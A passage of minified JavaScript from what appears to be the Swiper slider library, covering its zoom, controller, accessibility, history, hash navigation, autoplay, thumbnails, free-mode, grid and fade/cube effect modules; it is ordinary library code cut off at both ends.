${f.currentY}px,0)`}()})),i("doubleTap",((e,n)=>{!t.animating&&t.params.zoom.enabled&&t.zoom.enabled&&t.params.zoom.toggle&&A(n)})),i("transitionEnd",(()=>{t.zoom.enabled&&t.params.zoom.enabled&&C()})),i("slideChange",(()=>{t.zoom.enabled&&t.params.zoom.enabled&&t.params.cssMode&&C()})),Object.assign(t.zoom,{enable:P,disable:L,in:M,out:k,toggle:A})},function(e){let{swiper:t,extendParams:n,on:i}=e;function r(e,t){const n=function(){let e,t,n;return(i,r)=>{for(t=-1,e=i.length;e-t>1;)n=e+t>>1,i[n]<=r?t=n:e=n;return e}}();let i,r;return this.x=e,this.y=t,this.lastIndex=e.length-1,this.interpolate=function(e){return e?(r=n(this.x,e),i=r-1,(e-this.x[i])*(this.y[r]-this.y[i])/(this.x[r]-this.x[i])+this.y[i]):0},this}function s(){t.controller.control&&t.controller.spline&&(t.controller.spline=void 0,delete t.controller.spline)}n({controller:{control:void 0,inverse:!1,by:"slide"}}),t.controller={control:void 0},i("beforeInit",(()=>{if("undefined"!=typeof window&&("string"==typeof t.params.controller.control||t.params.controller.control instanceof HTMLElement)){const e=document.querySelector(t.params.controller.control);if(e&&e.swiper)t.controller.control=e.swiper;else if(e){const n=i=>{t.controller.control=i.detail[0],t.update(),e.removeEventListener("init",n)};e.addEventListener("init",n)}}else t.controller.control=t.params.controller.control})),i("update",(()=>{s()})),i("resize",(()=>{s()})),i("observerUpdate",(()=>{s()})),i("setTranslate",((e,n,i)=>{t.controller.control&&!t.controller.control.destroyed&&t.controller.setTranslate(n,i)})),i("setTransition",((e,n,i)=>{t.controller.control&&!t.controller.control.destroyed&&t.controller.setTransition(n,i)})),Object.assign(t.controller,{setTranslate:function(e,n){const i=t.controller.control;let s,o;const a=t.constructor;function l(e){if(e.destroyed)return;const n=t.rtlTranslate?-t.translate:t.translate;"slide"===t.params.controller.by&&(function(e){t.controller.spline=t.params.loop?new r(t.slidesGrid,e.slidesGrid):new r(t.snapGrid,e.snapGrid)}(e),o=-t.controller.spline.interpolate(-n)),o&&"container"!==t.params.controller.by||(s=(e.maxTranslate()-e.minTranslate())/(t.maxTranslate()-t.minTranslate()),!Number.isNaN(s)&&Number.isFinite(s)||(s=1),o=(n-t.minTranslate())*s+e.minTranslate()),t.params.controller.inverse&&(o=e.maxTranslate()-o),e.updateProgress(o),e.setTranslate(o,t),e.updateActiveIndex(),e.updateSlidesClasses()}if(Array.isArray(i))for(let e=0;e<i.length;e+=1)i[e]!==n&&i[e]instanceof a&&l(i[e]);else i instanceof a&&n!==i&&l(i)},setTransition:function(e,n){const i=t.constructor,r=t.controller.control;let s;function o(n){n.destroyed||(n.setTransition(e,t),0!==e&&(n.transitionStart(),n.params.autoHeight&&a((()=>{n.updateAutoHeight()})),x(n.wrapperEl,(()=>{r&&n.transitionEnd()}))))}if(Array.isArray(r))for(s=0;s<r.length;s+=1)r[s]!==n&&r[s]instanceof i&&o(r[s]);else r instanceof i&&n!==r&&o(r)}})},function(e){let{swiper:t,extendParams:n,on:i}=e;n({a11y:{enabled:!0,notificationClass:"swiper-notification",prevSlideMessage:"Previous slide",nextSlideMessage:"Next slide",firstSlideMessage:"This is the first slide",lastSlideMessage:"This is the last slide",paginationBulletMessage:"Go to slide {{index}}",slideLabelMessage:"{{index}} / {{slidesLength}}",containerMessage:null,containerRoleDescriptionMessage:null,itemRoleDescriptionMessage:null,slideRole:"group",id:null}}),t.a11y={clicked:!1};let r=null;function s(e){const t=r;0!==t.length&&(t.innerHTML="",t.innerHTML=e)}const o=e=>(Array.isArray(e)?e:[e]).filter((e=>!!e));function a(e){(e=o(e)).forEach((e=>{e.setAttribute("tabIndex","0")}))}function l(e){(e=o(e)).forEach((e=>{e.setAttribute("tabIndex","-1")}))}function c(e,t){(e=o(e)).forEach((e=>{e.setAttribute("role",t)}))}function u(e,t){(e=o(e)).forEach((e=>{e.setAttribute("aria-roledescription",t)}))}function d(e,t){(e=o(e)).forEach((e=>{e.setAttribute("aria-label",t)}))}function p(e){(e=o(e)).forEach((e=>{e.setAttribute("aria-disabled",!0)}))}function h(e){(e=o(e)).forEach((e=>{e.setAttribute("aria-disabled",!1)}))}function f(e){if(13!==e.keyCode&&32!==e.keyCode)return;const n=t.params.a11y,i=e.target;t.pagination&&t.pagination.el&&(i===t.pagination.el||t.pagination.el.contains(e.target))&&!e.target.matches(ne(t.params.pagination.bulletClass))||(t.navigation&&t.navigation.nextEl&&i===t.navigation.nextEl&&(t.isEnd&&!t.params.loop||t.slideNext(),t.isEnd?s(n.lastSlideMessage):s(n.nextSlideMessage)),t.navigation&&t.navigation.prevEl&&i===t.navigation.prevEl&&(t.isBeginning&&!t.params.loop||t.slidePrev(),t.isBeginning?s(n.firstSlideMessage):s(n.prevSlideMessage)),t.pagination&&i.matches(ne(t.params.pagination.bulletClass))&&i.click())}function m(){return t.pagination&&t.pagination.bullets&&t.pagination.bullets.length}function g(){return m()&&t.params.pagination.clickable}const y=(e,t,n)=>{a(e),"BUTTON"!==e.tagName&&(c(e,"button"),e.addEventListener("keydown",f)),d(e,n),function(e,t){(e=o(e)).forEach((e=>{e.setAttribute("aria-controls",t)}))}(e,t)},b=()=>{t.a11y.clicked=!0},_=()=>{requestAnimationFrame((()=>{requestAnimationFrame((()=>{t.destroyed||(t.a11y.clicked=!1)}))}))},x=e=>{if(t.a11y.clicked)return;const n=e.target.closest(`.${t.params.slideClass}, swiper-slide`);if(!n||!t.slides.includes(n))return;const i=t.slides.indexOf(n)===t.activeIndex,r=t.params.watchSlidesProgress&&t.visibleSlides&&t.visibleSlides.includes(n);i||r||e.sourceCapabilities&&e.sourceCapabilities.firesTouchEvents||(t.isHorizontal()?t.el.scrollLeft=0:t.el.scrollTop=0,t.slideTo(t.slides.indexOf(n),0))},T=()=>{const e=t.params.a11y;e.itemRoleDescriptionMessage&&u(t.slides,e.itemRoleDescriptionMessage),e.slideRole&&c(t.slides,e.slideRole);const n=t.slides.length;e.slideLabelMessage&&t.slides.forEach(((i,r)=>{const s=t.params.loop?parseInt(i.getAttribute("data-swiper-slide-index"),10):r;d(i,e.slideLabelMessage.replace(/\{\{index\}\}/,s+1).replace(/\{\{slidesLength\}\}/,n))}))};i("beforeInit",(()=>{r=v("span",t.params.a11y.notificationClass),r.setAttribute("aria-live","assertive"),r.setAttribute("aria-atomic","true")})),i("afterInit",(()=>{t.params.a11y.enabled&&(()=>{const e=t.params.a11y;t.el.append(r);const n=t.el;e.containerRoleDescriptionMessage&&u(n,e.containerRoleDescriptionMessage),e.containerMessage&&d(n,e.containerMessage);const i=t.wrapperEl,s=e.id||i.getAttribute("id")||`swiper-wrapper-${a=16,void 0===a&&(a=16),"x".repeat(a).replace(/x/g,(()=>Math.round(16*Math.random()).toString(16)))}`;var a;const l=t.params.autoplay&&t.params.autoplay.enabled?"off":"polite";var c;c=s,o(i).forEach((e=>{e.setAttribute("id",c)})),function(e,t){(e=o(e)).forEach((e=>{e.setAttribute("aria-live",t)}))}(i,l),T();let{nextEl:p,prevEl:h}=t.navigation?t.navigation:{};p=o(p),h=o(h),p&&p.forEach((t=>y(t,s,e.nextSlideMessage))),h&&h.forEach((t=>y(t,s,e.prevSlideMessage))),g()&&o(t.pagination.el).forEach((e=>{e.addEventListener("keydown",f)})),t.el.addEventListener("focus",x,!0),t.el.addEventListener("pointerdown",b,!0),t.el.addEventListener("pointerup",_,!0)})()})),i("slidesLengthChange snapGridLengthChange slidesGridLengthChange",(()=>{t.params.a11y.enabled&&T()})),i("fromEdge toEdge afterInit lock unlock",(()=>{t.params.a11y.enabled&&function(){if(t.params.loop||t.params.rewind||!t.navigation)return;const{nextEl:e,prevEl:n}=t.navigation;n&&(t.isBeginning?(p(n),l(n)):(h(n),a(n))),e&&(t.isEnd?(p(e),l(e)):(h(e),a(e)))}()})),i("paginationUpdate",(()=>{t.params.a11y.enabled&&function(){const e=t.params.a11y;m()&&t.pagination.bullets.forEach((n=>{t.params.pagination.clickable&&(a(n),t.params.pagination.renderBullet||(c(n,"button"),d(n,e.paginationBulletMessage.replace(/\{\{index\}\}/,w(n)+1)))),n.matches(ne(t.params.pagination.bulletActiveClass))?n.setAttribute("aria-current","true"):n.removeAttribute("aria-current")}))}()})),i("destroy",(()=>{t.params.a11y.enabled&&function(){r&&r.remove();let{nextEl:e,prevEl:n}=t.navigation?t.navigation:{};e=o(e),n=o(n),e&&e.forEach((e=>e.removeEventListener("keydown",f))),n&&n.forEach((e=>e.removeEventListener("keydown",f))),g()&&o(t.pagination.el).forEach((e=>{e.removeEventListener("keydown",f)})),t.el.removeEventListener("focus",x,!0),t.el.removeEventListener("pointerdown",b,!0),t.el.removeEventListener("pointerup",_,!0)}()}))},function(e){let{swiper:t,extendParams:n,on:i}=e;n({history:{enabled:!1,root:"",replaceState:!1,key:"slides",keepQuery:!1}});let r=!1,o={};const a=e=>e.toString().replace(/\s+/g,"-").replace(/[^\w-]+/g,"").replace(/--+/g,"-").replace(/^-+/,"").replace(/-+$/,""),l=e=>{const t=s();let n;n=e?new URL(e):t.location;const i=n.pathname.slice(1).split("/").filter((e=>""!==e)),r=i.length;return{key:i[r-2],value:i[r-1]}},c=(e,n)=>{const i=s();if(!r||!t.params.history.enabled)return;let o;o=t.params.url?new URL(t.params.url):i.location;const l=t.slides[n];let c=a(l.getAttribute("data-history"));if(t.params.history.root.length>0){let n=t.params.history.root;"/"===n[n.length-1]&&(n=n.slice(0,n.length-1)),c=`${n}/${e?`${e}/`:""}${c}`}else o.pathname.includes(e)||(c=`${e?`${e}/`:""}${c}`);t.params.history.keepQuery&&(c+=o.search);const u=i.history.state;u&&u.value===c||(t.params.history.replaceState?i.history.replaceState({value:c},null,c):i.history.pushState({value:c},null,c))},u=(e,n,i)=>{if(n)for(let r=0,s=t.slides.length;r<s;r+=1){const s=t.slides[r];if(a(s.getAttribute("data-history"))===n){const n=t.getSlideIndex(s);t.slideTo(n,e,i)}}else t.slideTo(0,e,i)},d=()=>{o=l(t.params.url),u(t.params.speed,o.value,!1)};i("init",(()=>{t.params.history.enabled&&(()=>{const e=s();if(t.params.history){if(!e.history||!e.history.pushState)return t.params.history.enabled=!1,void(t.params.hashNavigation.enabled=!0);r=!0,o=l(t.params.url),o.key||o.value?(u(0,o.value,t.params.runCallbacksOnInit),t.params.history.replaceState||e.addEventListener("popstate",d)):t.params.history.replaceState||e.addEventListener("popstate",d)}})()})),i("destroy",(()=>{t.params.history.enabled&&(()=>{const e=s();t.params.history.replaceState||e.removeEventListener("popstate",d)})()})),i("transitionEnd _freeModeNoMomentumRelease",(()=>{r&&c(t.params.history.key,t.activeIndex)})),i("slideChange",(()=>{r&&t.params.cssMode&&c(t.params.history.key,t.activeIndex)}))},function(e){let{swiper:t,extendParams:n,emit:r,on:o}=e,a=!1;const l=i(),c=s();n({hashNavigation:{enabled:!1,replaceState:!1,watchState:!1,getSlideIndex(e,n){if(t.virtual&&t.params.virtual.enabled){const e=t.slides.filter((e=>e.getAttribute("data-hash")===n))[0];return e?parseInt(e.getAttribute("data-swiper-slide-index"),10):0}return t.getSlideIndex(m(t.slidesEl,`.${t.params.slideClass}[data-hash="${n}"], swiper-slide[data-hash="${n}"]`)[0])}}});const u=()=>{r("hashChange");const e=l.location.hash.replace("#",""),n=t.virtual&&t.params.virtual.enabled?t.slidesEl.querySelector(`[data-swiper-slide-index="${t.activeIndex}"]`):t.slides[t.activeIndex];if(e!==(n?n.getAttribute("data-hash"):"")){const n=t.params.hashNavigation.getSlideIndex(t,e);if(void 0===n||Number.isNaN(n))return;t.slideTo(n)}},d=()=>{if(!a||!t.params.hashNavigation.enabled)return;const e=t.virtual&&t.params.virtual.enabled?t.slidesEl.querySelector(`[data-swiper-slide-index="${t.activeIndex}"]`):t.slides[t.activeIndex],n=e?e.getAttribute("data-hash")||e.getAttribute("data-history"):"";t.params.hashNavigation.replaceState&&c.history&&c.history.replaceState?(c.history.replaceState(null,null,`#${n}`||""),r("hashSet")):(l.location.hash=n||"",r("hashSet"))};o("init",(()=>{t.params.hashNavigation.enabled&&(()=>{if(!t.params.hashNavigation.enabled||t.params.history&&t.params.history.enabled)return;a=!0;const e=l.location.hash.replace("#","");if(e){const n=0,i=t.params.hashNavigation.getSlideIndex(t,e);t.slideTo(i||0,n,t.params.runCallbacksOnInit,!0)}t.params.hashNavigation.watchState&&c.addEventListener("hashchange",u)})()})),o("destroy",(()=>{t.params.hashNavigation.enabled&&t.params.hashNavigation.watchState&&c.removeEventListener("hashchange",u)})),o("transitionEnd _freeModeNoMomentumRelease",(()=>{a&&d()})),o("slideChange",(()=>{a&&t.params.cssMode&&d()}))},function(e){let t,n,{swiper:r,extendParams:s,on:o,emit:a,params:l}=e;r.autoplay={running:!1,paused:!1,timeLeft:0},s({autoplay:{enabled:!1,delay:3e3,waitForTransition:!0,disableOnInteraction:!1,stopOnLastSlide:!1,reverseDirection:!1,pauseOnMouseEnter:!1}});let c,u,d,p,h,f,m,g,v=l&&l.autoplay?l.autoplay.delay:3e3,y=l&&l.autoplay?l.autoplay.delay:3e3,b=(new Date).getTime();function w(e){r&&!r.destroyed&&r.wrapperEl&&e.target===r.wrapperEl&&(r.wrapperEl.removeEventListener("transitionend",w),g||C())}const _=()=>{if(r.destroyed||!r.autoplay.running)return;r.autoplay.paused?u=!0:u&&(y=c,u=!1);const e=r.autoplay.paused?c:b+y-(new Date).getTime();r.autoplay.timeLeft=e,a("autoplayTimeLeft",e,e/v),n=requestAnimationFrame((()=>{_()}))},x=e=>{if(r.destroyed||!r.autoplay.running)return;cancelAnimationFrame(n),_();let i=void 0===e?r.params.autoplay.delay:e;v=r.params.autoplay.delay,y=r.params.autoplay.delay;const s=(()=>{let e;if(e=r.virtual&&r.params.virtual.enabled?r.slides.filter((e=>e.classList.contains("swiper-slide-active")))[0]:r.slides[r.activeIndex],e)return parseInt(e.getAttribute("data-swiper-autoplay"),10)})();!Number.isNaN(s)&&s>0&&void 0===e&&(i=s,v=s,y=s),c=i;const o=r.params.speed,l=()=>{r&&!r.destroyed&&(r.params.autoplay.reverseDirection?!r.isBeginning||r.params.loop||r.params.rewind?(r.slidePrev(o,!0,!0),a("autoplay")):r.params.autoplay.stopOnLastSlide||(r.slideTo(r.slides.length-1,o,!0,!0),a("autoplay")):!r.isEnd||r.params.loop||r.params.rewind?(r.slideNext(o,!0,!0),a("autoplay")):r.params.autoplay.stopOnLastSlide||(r.slideTo(0,o,!0,!0),a("autoplay")),r.params.cssMode&&(b=(new Date).getTime(),requestAnimationFrame((()=>{x()}))))};return i>0?(clearTimeout(t),t=setTimeout((()=>{l()}),i)):requestAnimationFrame((()=>{l()})),i},T=()=>{b=(new Date).getTime(),r.autoplay.running=!0,x(),a("autoplayStart")},E=()=>{r.autoplay.running=!1,clearTimeout(t),cancelAnimationFrame(n),a("autoplayStop")},S=(e,n)=>{if(r.destroyed||!r.autoplay.running)return;clearTimeout(t),e||(m=!0);const i=()=>{a("autoplayPause"),r.params.autoplay.waitForTransition?r.wrapperEl.addEventListener("transitionend",w):C()};if(r.autoplay.paused=!0,n)return f&&(c=r.params.autoplay.delay),f=!1,void i();const s=c||r.params.autoplay.delay;c=s-((new Date).getTime()-b),r.isEnd&&c<0&&!r.params.loop||(c<0&&(c=0),i())},C=()=>{r.isEnd&&c<0&&!r.params.loop||r.destroyed||!r.autoplay.running||(b=(new Date).getTime(),m?(m=!1,x(c)):x(),r.autoplay.paused=!1,a("autoplayResume"))},M=()=>{if(r.destroyed||!r.autoplay.running)return;const e=i();"hidden"===e.visibilityState&&(m=!0,S(!0)),"visible"===e.visibilityState&&C()},k=e=>{"mouse"===e.pointerType&&(m=!0,g=!0,r.animating||r.autoplay.paused||S(!0))},A=e=>{"mouse"===e.pointerType&&(g=!1,r.autoplay.paused&&C())};o("init",(()=>{r.params.autoplay.enabled&&(r.params.autoplay.pauseOnMouseEnter&&(r.el.addEventListener("pointerenter",k),r.el.addEventListener("pointerleave",A)),i().addEventListener("visibilitychange",M),T())})),o("destroy",(()=>{r.el.removeEventListener("pointerenter",k),r.el.removeEventListener("pointerleave",A),i().removeEventListener("visibilitychange",M),r.autoplay.running&&E()})),o("_freeModeStaticRelease",(()=>{(p||m)&&C()})),o("_freeModeNoMomentumRelease",(()=>{r.params.autoplay.disableOnInteraction?E():S(!0,!0)})),o("beforeTransitionStart",((e,t,n)=>{!r.destroyed&&r.autoplay.running&&(n||!r.params.autoplay.disableOnInteraction?S(!0,!0):E())})),o("sliderFirstMove",(()=>{!r.destroyed&&r.autoplay.running&&(r.params.autoplay.disableOnInteraction?E():(d=!0,p=!1,m=!1,h=setTimeout((()=>{m=!0,p=!0,S(!0)}),200)))})),o("touchEnd",(()=>{if(!r.destroyed&&r.autoplay.running&&d){if(clearTimeout(h),clearTimeout(t),r.params.autoplay.disableOnInteraction)return p=!1,void(d=!1);p&&r.params.cssMode&&C(),p=!1,d=!1}})),o("slideChange",(()=>{!r.destroyed&&r.autoplay.running&&(f=!0)})),Object.assign(r.autoplay,{start:T,stop:E,pause:S,resume:C})},function(e){let{swiper:t,extendParams:n,on:r}=e;n({thumbs:{swiper:null,multipleActiveThumbs:!0,autoScrollOffset:0,slideThumbActiveClass:"swiper-slide-thumb-active",thumbsContainerClass:"swiper-thumbs"}});let s=!1,o=!1;function a(){const e=t.thumbs.swiper;if(!e||e.destroyed)return;const n=e.clickedIndex,i=e.clickedSlide;if(i&&i.classList.contains(t.params.thumbs.slideThumbActiveClass))return;if(null==n)return;let r;r=e.params.loop?parseInt(e.clickedSlide.getAttribute("data-swiper-slide-index"),10):n,t.params.loop?t.slideToLoop(r):t.slideTo(r)}function l(){const{thumbs:e}=t.params;if(s)return!1;s=!0;const n=t.constructor;if(e.swiper instanceof n)t.thumbs.swiper=e.swiper,Object.assign(t.thumbs.swiper.originalParams,{watchSlidesProgress:!0,slideToClickedSlide:!1}),Object.assign(t.thumbs.swiper.params,{watchSlidesProgress:!0,slideToClickedSlide:!1}),t.thumbs.swiper.update();else if(u(e.swiper)){const i=Object.assign({},e.swiper);Object.assign(i,{watchSlidesProgress:!0,slideToClickedSlide:!1}),t.thumbs.swiper=new n(i),o=!0}return t.thumbs.swiper.el.classList.add(t.params.thumbs.thumbsContainerClass),t.thumbs.swiper.on("tap",a),!0}function c(e){const n=t.thumbs.swiper;if(!n||n.destroyed)return;const i="auto"===n.params.slidesPerView?n.slidesPerViewDynamic():n.params.slidesPerView;let r=1;const s=t.params.thumbs.slideThumbActiveClass;if(t.params.slidesPerView>1&&!t.params.centeredSlides&&(r=t.params.slidesPerView),t.params.thumbs.multipleActiveThumbs||(r=1),r=Math.floor(r),n.slides.forEach((e=>e.classList.remove(s))),n.params.loop||n.params.virtual&&n.params.virtual.enabled)for(let e=0;e<r;e+=1)m(n.slidesEl,`[data-swiper-slide-index="${t.realIndex+e}"]`).forEach((e=>{e.classList.add(s)}));else for(let e=0;e<r;e+=1)n.slides[t.realIndex+e]&&n.slides[t.realIndex+e].classList.add(s);const o=t.params.thumbs.autoScrollOffset,a=o&&!n.params.loop;if(t.realIndex!==n.realIndex||a){const r=n.activeIndex;let s,l;if(n.params.loop){const e=n.slides.filter((e=>e.getAttribute("data-swiper-slide-index")===`${t.realIndex}`))[0];s=n.slides.indexOf(e),l=t.activeIndex>t.previousIndex?"next":"prev"}else s=t.realIndex,l=s>t.previousIndex?"next":"prev";a&&(s+="next"===l?o:-1*o),n.visibleSlidesIndexes&&n.visibleSlidesIndexes.indexOf(s)<0&&(n.params.centeredSlides?s=s>r?s-Math.floor(i/2)+1:s+Math.floor(i/2)-1:s>r&&n.params.slidesPerGroup,n.slideTo(s,e?0:void 0))}}t.thumbs={swiper:null},r("beforeInit",(()=>{const{thumbs:e}=t.params;if(e&&e.swiper)if("string"==typeof e.swiper||e.swiper instanceof HTMLElement){const n=i(),r=()=>{const i="string"==typeof e.swiper?n.querySelector(e.swiper):e.swiper;if(i&&i.swiper)e.swiper=i.swiper,l(),c(!0);else if(i){const n=r=>{e.swiper=r.detail[0],i.removeEventListener("init",n),l(),c(!0),e.swiper.update(),t.update()};i.addEventListener("init",n)}return i},s=()=>{t.destroyed||r()||requestAnimationFrame(s)};requestAnimationFrame(s)}else l(),c(!0)})),r("slideChange update resize observerUpdate",(()=>{c()})),r("setTransition",((e,n)=>{const i=t.thumbs.swiper;i&&!i.destroyed&&i.setTransition(n)})),r("beforeDestroy",(()=>{const e=t.thumbs.swiper;e&&!e.destroyed&&o&&e.destroy()})),Object.assign(t.thumbs,{init:l,update:c})},function(e){let{swiper:t,extendParams:n,emit:i,once:r}=e;n({freeMode:{enabled:!1,momentum:!0,momentumRatio:1,momentumBounce:!0,momentumBounceRatio:1,momentumVelocityRatio:1,sticky:!1,minimumVelocity:.02}}),Object.assign(t,{freeMode:{onTouchStart:function(){if(t.params.cssMode)return;const e=t.getTranslate();t.setTranslate(e),t.setTransition(0),t.touchEventsData.velocities.length=0,t.freeMode.onTouchEnd({currentPos:t.rtl?t.translate:-t.translate})},onTouchMove:function(){if(t.params.cssMode)return;const{touchEventsData:e,touches:n}=t;0===e.velocities.length&&e.velocities.push({position:n[t.isHorizontal()?"startX":"startY"],time:e.touchStartTime}),e.velocities.push({position:n[t.isHorizontal()?"currentX":"currentY"],time:l()})},onTouchEnd:function(e){let{currentPos:n}=e;if(t.params.cssMode)return;const{params:s,wrapperEl:o,rtlTranslate:a,snapGrid:c,touchEventsData:u}=t,d=l()-u.touchStartTime;if(n<-t.minTranslate())t.slideTo(t.activeIndex);else if(n>-t.maxTranslate())t.slides.length<c.length?t.slideTo(c.length-1):t.slideTo(t.slides.length-1);else{if(s.freeMode.momentum){if(u.velocities.length>1){const e=u.velocities.pop(),n=u.velocities.pop(),i=e.position-n.position,r=e.time-n.time;t.velocity=i/r,t.velocity/=2,Math.abs(t.velocity)<s.freeMode.minimumVelocity&&(t.velocity=0),(r>150||l()-e.time>300)&&(t.velocity=0)}else t.velocity=0;t.velocity*=s.freeMode.momentumVelocityRatio,u.velocities.length=0;let e=1e3*s.freeMode.momentumRatio;const n=t.velocity*e;let d=t.translate+n;a&&(d=-d);let p,h=!1;const f=20*Math.abs(t.velocity)*s.freeMode.momentumBounceRatio;let m;if(d<t.maxTranslate())s.freeMode.momentumBounce?(d+t.maxTranslate()<-f&&(d=t.maxTranslate()-f),p=t.maxTranslate(),h=!0,u.allowMomentumBounce=!0):d=t.maxTranslate(),s.loop&&s.centeredSlides&&(m=!0);else if(d>t.minTranslate())s.freeMode.momentumBounce?(d-t.minTranslate()>f&&(d=t.minTranslate()+f),p=t.minTranslate(),h=!0,u.allowMomentumBounce=!0):d=t.minTranslate(),s.loop&&s.centeredSlides&&(m=!0);else if(s.freeMode.sticky){let e;for(let t=0;t<c.length;t+=1)if(c[t]>-d){e=t;break}d=Math.abs(c[e]-d)<Math.abs(c[e-1]-d)||"next"===t.swipeDirection?c[e]:c[e-1],d=-d}if(m&&r("transitionEnd",(()=>{t.loopFix()})),0!==t.velocity){if(e=a?Math.abs((-d-t.translate)/t.velocity):Math.abs((d-t.translate)/t.velocity),s.freeMode.sticky){const n=Math.abs((a?-d:d)-t.translate),i=t.slidesSizesGrid[t.activeIndex];e=n<i?s.speed:n<2*i?1.5*s.speed:2.5*s.speed}}else if(s.freeMode.sticky)return void t.slideToClosest();s.freeMode.momentumBounce&&h?(t.updateProgress(p),t.setTransition(e),t.setTranslate(d),t.transitionStart(!0,t.swipeDirection),t.animating=!0,x(o,(()=>{t&&!t.destroyed&&u.allowMomentumBounce&&(i("momentumBounce"),t.setTransition(s.speed),setTimeout((()=>{t.setTranslate(p),x(o,(()=>{t&&!t.destroyed&&t.transitionEnd()}))}),0))}))):t.velocity?(i("_freeModeNoMomentumRelease"),t.updateProgress(d),t.setTransition(e),t.setTranslate(d),t.transitionStart(!0,t.swipeDirection),t.animating||(t.animating=!0,x(o,(()=>{t&&!t.destroyed&&t.transitionEnd()})))):t.updateProgress(d),t.updateActiveIndex(),t.updateSlidesClasses()}else{if(s.freeMode.sticky)return void t.slideToClosest();s.freeMode&&i("_freeModeNoMomentumRelease")}(!s.freeMode.momentum||d>=s.longSwipesMs)&&(i("_freeModeStaticRelease"),t.updateProgress(),t.updateActiveIndex(),t.updateSlidesClasses())}}}})},function(e){let t,n,i,r,{swiper:s,extendParams:o,on:a}=e;o({grid:{rows:1,fill:"column"}});const l=()=>{let e=s.params.spaceBetween;return"string"==typeof e&&e.indexOf("%")>=0?e=parseFloat(e.replace("%",""))/100*s.size:"string"==typeof e&&(e=parseFloat(e)),e};a("init",(()=>{r=s.params.grid&&s.params.grid.rows>1})),a("update",(()=>{const{params:e,el:t}=s,n=e.grid&&e.grid.rows>1;r&&!n?(t.classList.remove(`${e.containerModifierClass}grid`,`${e.containerModifierClass}grid-column`),i=1,s.emitContainerClasses()):!r&&n&&(t.classList.add(`${e.containerModifierClass}grid`),"column"===e.grid.fill&&t.classList.add(`${e.containerModifierClass}grid-column`),s.emitContainerClasses()),r=n})),s.grid={initSlides:e=>{const{slidesPerView:r}=s.params,{rows:o,fill:a}=s.params.grid,l=s.virtual&&s.params.virtual.enabled?s.virtual.slides.length:e.length;i=Math.floor(l/o),t=Math.floor(l/o)===l/o?l:Math.ceil(l/o)*o,"auto"!==r&&"row"===a&&(t=Math.max(t,r*o)),n=t/o},unsetSlides:()=>{s.slides&&s.slides.forEach((e=>{e.swiperSlideGridSet&&(e.style.height="",e.style[s.getDirectionLabel("margin-top")]="")}))},updateSlide:(e,r,o)=>{const{slidesPerGroup:a}=s.params,c=l(),{rows:u,fill:d}=s.params.grid,p=s.virtual&&s.params.virtual.enabled?s.virtual.slides.length:o.length;let h,f,m;if("row"===d&&a>1){const n=Math.floor(e/(a*u)),i=e-u*a*n,s=0===n?a:Math.min(Math.ceil((p-n*u*a)/u),a);m=Math.floor(i/s),f=i-m*s+n*a,h=f+m*t/u,r.style.order=h}else"column"===d?(f=Math.floor(e/u),m=e-f*u,(f>i||f===i&&m===u-1)&&(m+=1,m>=u&&(m=0,f+=1))):(m=Math.floor(e/n),f=e-m*n);r.row=m,r.column=f,r.style.height=`calc((100% - ${(u-1)*c}px) / ${u})`,r.style[s.getDirectionLabel("margin-top")]=0!==m?c&&`${c}px`:"",r.swiperSlideGridSet=!0},updateWrapperSize:(e,n)=>{const{centeredSlides:i,roundLengths:r}=s.params,o=l(),{rows:a}=s.params.grid;if(s.virtualSize=(e+o)*t,s.virtualSize=Math.ceil(s.virtualSize/a)-o,s.params.cssMode||(s.wrapperEl.style[s.getDirectionLabel("width")]=`${s.virtualSize+o}px`),i){const e=[];for(let t=0;t<n.length;t+=1){let i=n[t];r&&(i=Math.floor(i)),n[t]<s.virtualSize+n[0]&&e.push(i)}n.splice(0,n.length),n.push(...e)}}}},function(e){let{swiper:t}=e;Object.assign(t,{appendSlide:ie.bind(t),prependSlide:re.bind(t),addSlide:se.bind(t),removeSlide:oe.bind(t),removeAllSlides:ae.bind(t)})},function(e){let{swiper:t,extendParams:n,on:i}=e;n({fadeEffect:{crossFade:!1}}),le({effect:"fade",swiper:t,on:i,setTranslate:()=>{const{slides:e}=t;t.params.fadeEffect;for(let n=0;n<e.length;n+=1){const e=t.slides[n];let i=-e.swiperSlideOffset;t.params.virtualTranslate||(i-=t.translate);let r=0;t.isHorizontal()||(r=i,i=0);const s=t.params.fadeEffect.crossFade?Math.max(1-Math.abs(e.progress),0):1+Math.min(Math.max(e.progress,-1),0),o=ce(0,e);o.style.opacity=s,o.style.transform=`translate3d(${i}px, ${r}px, 0px)`}},setTransition:e=>{const n=t.slides.map((e=>f(e)));n.forEach((t=>{t.style.transitionDuration=`${e}ms`})),ue({swiper:t,duration:e,transformElements:n,allSlides:!0})},overwriteParams:()=>({slidesPerView:1,slidesPerGroup:1,watchSlidesProgress:!0,spaceBetween:0,virtualTranslate:!t.params.cssMode})})},function(e){let{swiper:t,extendParams:n,on:i}=e;n({cubeEffect:{slideShadows:!0,shadow:!0,shadowOffset:20,shadowScale:.94}});const r=(e,t,n)=>{let i=n?e.querySelector(".swiper-slide-shadow-left"):e.querySelector(".swiper-slide-shadow-top"),r=n?e.querySelector(".swiper-slide-shadow-right"):e.querySelector(".swiper-slide-shadow-bottom");i||(i=v("div",("swiper-slide-shadow-cube swiper-slide-shadow-"+(n?"left":"top")).split(" ")),e.append(i)),r||(r=v("div",("swiper-slide-shadow-cube swiper-slide-shadow-"+(n?"right":"bottom")).split(" ")),e.append(r)),i&&(i.style.opacity=Math.max(-t,0)),r&&(r.style.opacity=Math.max(t,0))};le({effect:"cube",swiper:t,on:i,setTranslate:()=>{const{el:e,wrapperEl:n,slides:i,width:s,height:o,rtlTranslate:a,size:l,browser:c}=t,u=t.params.cubeEffect,d=t.isHorizontal(),p=t.virtual&&t.params.virtual.enabled;let h,f=0;u.shadow&&(d?(h=t.wrapperEl.querySelector(".swiper-cube-shadow"),h||(h=v("div","swiper-cube-shadow"),t.wrapperEl.append(h)),h.style.height=`${s}px`):(h=e.querySelector(".swiper-cube-shadow"),h||(h=v("div","swiper-cube-shadow"),e.append(h))));for(let e=0;e<i.length;e+=1){const n=i[e];let s=e;p&&(s=parseInt(n.getAttribute("data-swiper-slide-index"),10));let o=90*s,c=Math.floor(o/360);a&&(o=-o,c=Math.floor(-o/360));const h=Math.max(Math.min(n.progress,1),-1);let m=0,g=0,v=0;s%4==0?(m=4*-c*l,v=0):(s-1)%4==0?(m=0,v=4*-c*l):(s-2)%4==0?(m=l+4*c*l,v=l):(s-3)%4==0&&(m=-l,v=3*l+4*l*c),a&&(m=-m),d||(g=m,m=0);const y=`rotateX(${d?0:-o}deg) rotateY(${d?o:0}deg) 